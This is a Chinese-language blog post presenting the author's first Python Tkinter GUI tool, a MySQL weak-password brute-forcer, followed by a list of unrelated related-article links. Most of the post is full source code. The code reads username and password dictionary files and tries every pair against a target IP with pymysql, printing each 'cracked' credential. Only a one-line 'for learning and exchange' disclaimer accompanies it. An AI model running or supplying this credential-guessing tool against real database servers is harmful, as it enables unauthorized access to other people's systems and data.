python弱口令扫描工具-初始版

本篇博客记录下基于python写的gui小工具,也是我学python以来自己动手写的第一款交互型的工具

Tkinter: Tkinter 模块(Tk 接口)是 Python 的标准 Tk GUI 工具包的接口 .Tk 和 Tkinter
可以在大多数的 Unix 平台下使用,同样可以应用在 Windows 和 Macintosh 系统里。Tk8.0
的后续版本可以实现本地窗口风格,并良好地运行在绝大多数平台中。

本次用到的主要是tkinter模块
引用如下

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog import tkinter import os,shutil import pymysql` 

接下来定义各个功能函数如下
1.字典的导入和保存:打开文件对话框保存字典(.txt文件)
代码如下

filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框 fname.set(filepath) file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径 

2.遍历字典
代码如下

username_list = 'C:/test/username.txt' password_list = 'C:/test/password.txt' splitChar = '\t' # 设置过滤字符串 splitChar1 = '\n' with open(username_list, 'r') as f: # 获取字典中的数据,转换为list datalist = f.readlines() with open(password_list, 'r') as p:
        passwordlist = p.readlines() 

3.mysql爆破模块,数据处理和爆破
引入pymysql,执行循环遍历字典,替换空格并执行爆破
代码如下:

 for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符 for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'') try: #开始爆破 db=pymysql.connect(host,username,password) success=True if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功") p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n") except:
                    print("用户名:" + username +" 密码:" + password + "破解失败") outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n") pass
    outprint.insert(END,p) 

4.定义布局,button按钮和输出区域
button如下:

button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性 button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45) button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45) 

5.IP我目前之写了一个手动输入的,逻辑上是实时取回用户输入的内容,并赋值为host
代码如下:

label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50) e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值 

6.执行结果回显
利用outprint.insert(END,p)来回显,我也是第一次用。。。。
代码如下:

outprint=Text(root) outprint.pack(side=BOTTOM,expand=YES) #定义打印区域 

其余的就是基础代码,布局大小和方向,还有title,禁止拉伸什么的这些基本的代码
最终代码如下:

from tkinter import *
from tkinter.filedialog import *
from tkinter import simpledialog import tkinter import os,shutil import pymysql

root = Tk() root.configure(bg='Aquamarine') # 创建一个Tkinter.Tk()实例 root.geometry("800x500") # 设置主窗口大小 root.resizable(0, 0) #禁止拉伸 root.title("刺心 弱口令工具-MYSQL初始版 其余功能待开发") def Putfile_username(): # 定义字典 fname = tkinter.StringVar() if os.path.exists('C:/test/username.txt'): # 判断指定路径是否存在文件,如果有,则删除 os.remove('C:/test/username.txt') else:
        pass
    filepath=tkinter.filedialog.askopenfilename() # 打开文件对话框 fname.set(filepath) file=shutil.copy(filepath,r'C:\test') # 复制文件到指定路径 tip="用户名加载完毕!路径:"+file+"\n" os.rename(file,"C:/test/username.txt") # 重命名文件名 outprint.insert(END,tip) def Putfile_password(): if os.path.exists('C:/test/password.txt'):
        os.remove('C:/test/password.txt') else:
        pass
    fpass = tkinter.StringVar() passpath = tkinter.filedialog.askopenfilename() fpass.set(passpath) passfile = shutil.copy(passpath, r'C:\test') tip = "密码加载完毕!路径:" + passfile + "\n" os.rename(passfile, "C:/test/password.txt") outprint.insert(END, tip) #def input_ip(): #r=simpledialog.askstring('', '请输入IP:', initialvalue='') #return r def Msqlattrack(): # 定义爆破模块 username_list = 'C:/test/username.txt' password_list = 'C:/test/password.txt' splitChar = '\t' # 设置过滤字符串 splitChar1 = '\n' with open(username_list, 'r') as f: # 获取字典中的数据,转换为list datalist = f.readlines() with open(password_list, 'r') as p:
        passwordlist = p.readlines() host = ipVar.get() # 取回输入的IP值 for username1 in datalist:
        username=username1.replace(splitChar,'').replace(splitChar1,'') #数据处理,替换掉取出的\t和\n字符 for passwd in passwordlist:
            password=passwd.replace(splitChar,'').replace(splitChar1,'') try: #开始爆破 db=pymysql.connect(host,username,password) success=True if success:
                    print("用户名:" + username +" 密码:" + password + "破解成功") p="破解完成!用户名:" + username +" 密码:" + password
                    outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解成功"+"\n") except:
                    print("用户名:" + username +" 密码:" + password + "破解失败") outprint.insert(END,"用户名:" + username +" 密码:" + password + "破解失败"+"\n") pass
    outprint.insert(END,p) ipVar=tkinter.StringVar() button=Button(root,text='用户名',fg='blue',bg='Aquamarine',command=Putfile_username).place(x=300,y=45) #创建按钮并绑定属性 button1=Button(root,text='密 码',fg='blue',bg='Aquamarine',command=Putfile_password).place(x=500,y=45) button2=Button(root,text='执 行',fg='blue',bg='Aquamarine',command=Msqlattrack).place(x=700,y=45) label=Label(root,text='IP:',fg='blue',bg='Aquamarine').place(x=50,y=50) e_lable=Entry(root,textvariable=ipVar).place(x=72,y=50) #定义输入IP并取回输入值 text_mysql=Label(root,text='MYSQL',font=('楷体',15),bg='Aquamarine').place(x=380,y=7) outprint=Text(root) outprint.pack(side=BOTTOM,expand=YES) #定义打印区域 root.mainloop() 

编译成exe文件可以运行,也可以在终端里执行
代码还是有很大的瑕疵的。。。
附上我本地测试的截图
在这里插入图片描述注:此工具仅作为学习和交流使用

标签:

python工具系列-弱口令工具的更多相关文章

  1. python实现自幂数的示例代码

    1、什么是自幂数?前文介绍过 python 实现水仙花数,其实水仙花数为自幂数的一种,即,3位自幂数。自幂数是指一个 n 位数,它的每个位上的数字的 n 次幂之和等于它本身。(例如:当n为3时,有1^3 + 5^3 + 3^3 = 153,153即是n为3时的一个自幂数)自幂数-百度百科2、自幂......

  2. Python基础(上篇)

    本篇文章主要内容:变量、注释、运算符、关键字、数据类型。本篇文章主要内容:变量、注释、运算符、关键字、数据类型。在入手变量之前我们先来看看经典的编程语句 → hello world 在python3中输出到控制台的函数是print()print("hello world") 一、......

  3. Python爬虫-抓取手机APP数据

    抓取超级课程表话题数据。博文:http://my.oschina.net/jhao104/blog/606922#!/usr/local/bin/python2.7# -*- coding: utf8 -*-"""超级课程表话题抓取"""i......

  4. Python抓取淘宝IP地址数据

    def fetch(ip):url = 'http://ip.taobao.com/service/getIpInfo.php?ip=' + ipresult = []try:response = urllib.urlopen(url).read()jsondata = json.loads(res......

  5. Python数据可视化分析--豆瓣电影Top250

    Python数据分析–豆瓣电影Top250利用Python爬取豆瓣电影TOP250并进行数据分析,对于众多爬虫爱好者,应该并不陌生。很多人都会以此作为第一个练手的小项目。当然这也多亏了豆瓣的包容,没有加以太多的反爬措施,对新手比较友好。手动声明版权声明:本文为博主原创文章,创作不易本文链接:http......

  6. 史上最详细的Python打包成exe文件教程

    打包成exe文件可以让python代码在没有python环境的条件下,依然能够运行,实在是码农们写追女朋友表白、情人节浪漫的必需品!1、使用豆瓣镜像源下载: pyinstaller有需要了解如何使用国内镜像的小伙伴可以滴滴到此:国内镜像源详细使用教程!https://blog.csdn.net/xt......

  7. Python中OS对目录的操作以及引用

    路径的获取对当前目录的获取1 path = os.getcwd() 2 print("获取到的当前目录是:({})".format(path))获取当前文件所在的绝对路径import ospath = os.path.realpath(__file__) print("......

  8. python使用scapy模块实现ARP扫描的过程

    前言上篇文章主要写了利用scapy实现ping扫描,这篇文章主要是利用scapy模块实现内网ARP扫描实现过程上篇文章中介绍了通过scapy来伪造包,那么ARP包的伪造过程这里不再详述,说一工具的简单整体流程1.首先,实现单个IP的ARP包的发送和接收2.其次,实现多进程同时多个ARP包的发送和接收......

  9. 爬虫-urllib3模块的使用

    urllib3是一个功能强大,对SAP健全的 HTTP客户端,许多Python生态系统已经使用了urllib3。一、安装sudo pips install urllib3二、创建PoolManager对象通过urllib3访问网页,首先需要构造一个PoolManager实例对象用于处理与线程池的连接......

  10. python 进制转换 int、bin、oct、hex

    原理十进制转n进制都可以使用倒除法:对十进制进行除n的运算,直到商为0为止,然后将各个步骤中得到的余数倒着写出来.n进制转十进制:(例子:二进制转十进制)101001 => 2^5 + 2^3 + 1 = 32 + 8 + 1 = 4110111 => 2^4 + 2^2 + 2 + 1......

随机推荐

  1. C# Aspose.Words 删除word中的图片操作

    今天介绍下 Aspose.Words 对 word 中的图片进行删除string tempFile = Application.StartupPath + "\\resource\\templete\\项目建议书模板.doc";Document doc = new Documen......

  2. C# FTP上传下载 代码

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.IO; namespace JianKunKing.C......

  3. linux GPU上多个buffer间的同步之ww_mutex、dma_fence的使用

    原文链接:https://www.cnblogs.com/yaongtime/p/14111134.htmlWW-Mutexes在GPU中一次Render可能会涉及到对多个buffer的引用。所以在command buffer提交到GPU前,需要等到所有依赖的buffer可用。因为这些buffer可......

  4. python 如何用 Hypothesis 来自动化单元测试

    高质量的代码离不开单元测试,而设计单元测试的用例往往又比较耗时,而且难以想到一些极端情况,本文讲述如何使用 Hypothesis 来自动化单元测试刷过力扣算法题的同学都知道,有时候觉得代码已经很完善了,一提交才发现很多情况没有考虑到。然后感叹力扣的单元测试真的牛比。因此,高质量的代码离不开单元测试,......

  5. PostgreSQL 使用raise函数打印字符串

    raise函数在PostgreSQL中,该函数用于打印字符串,类似于Java中的System.out.println(),Oracle中的dbms_output.put_line()。用法如下:raise notice 'My name is %, I am a %.', 'Lewis', 'cod......

  6. Java魔法堂:调用外部程序

    前言Java虽然五脏俱全但总有软肋,譬如获取CPU等硬件信息,当然我们可以通过JNI调用C/C++来获取,但对于对C/C++和Windows API不熟的码农是一系列复杂的学习和踩坑过程。那能不能通过简单一些、学习成本低一些的方式呢?答案是肯定的,在功能实现放在首位的情况下,借他山之石是最简洁有力的......

  7. 精通MySQL之索引篇,这篇注重练习!

    老刘是即将找工作的研究生,自学大数据开发,一路走来,感慨颇深,网上大数据的资料良莠不齐,于是想写一份详细的大数据开发指南。这份指南把大数据的【基础知识】【框架分析】【源码理解】都用自己的话描述出来,让伙伴自学从此不求人。大数据开发指南地址如下:github:https://github.com/Bi......

  8. Python学习(5)(while循环语句、循环嵌套、break/continue、赋值运算符、转义字符等 )

    Python学习(5)一、python的while 循环语句二、python的赋值运算符三、python的while 循环语句 示例四、python的 break 和 continue五、python的while 嵌套1、用嵌套打印小星星2、python 九九乘法表六、python的print 函数......

  9. C#实现简单的五子棋游戏

    最近利用业余时间写了一个简单的五子棋游戏,没有利用深层次的面向对象技术,自学一年,代码和程序设计有不妥之处,还望大神指出,先看下实现的功能,三个button按钮,黑棋和白棋选择先出,和重置。其他的不多说了,直接上全部代码(通过测试)。计算输赢的时候,左斜和右斜用了数学y=kx+b的线性函数计算。pr......

  10. pandas调整列的顺序以及添加列的实现

    在对excel的操作中,调整列的顺序以及添加一些列也是经常用到的,下面我们用pandas实现这一功能。1、调整列的顺序>>> df = pd.read_excel(r'D:/myExcel/1.xlsx')>>> dfA B C D0 bob 12 78 871......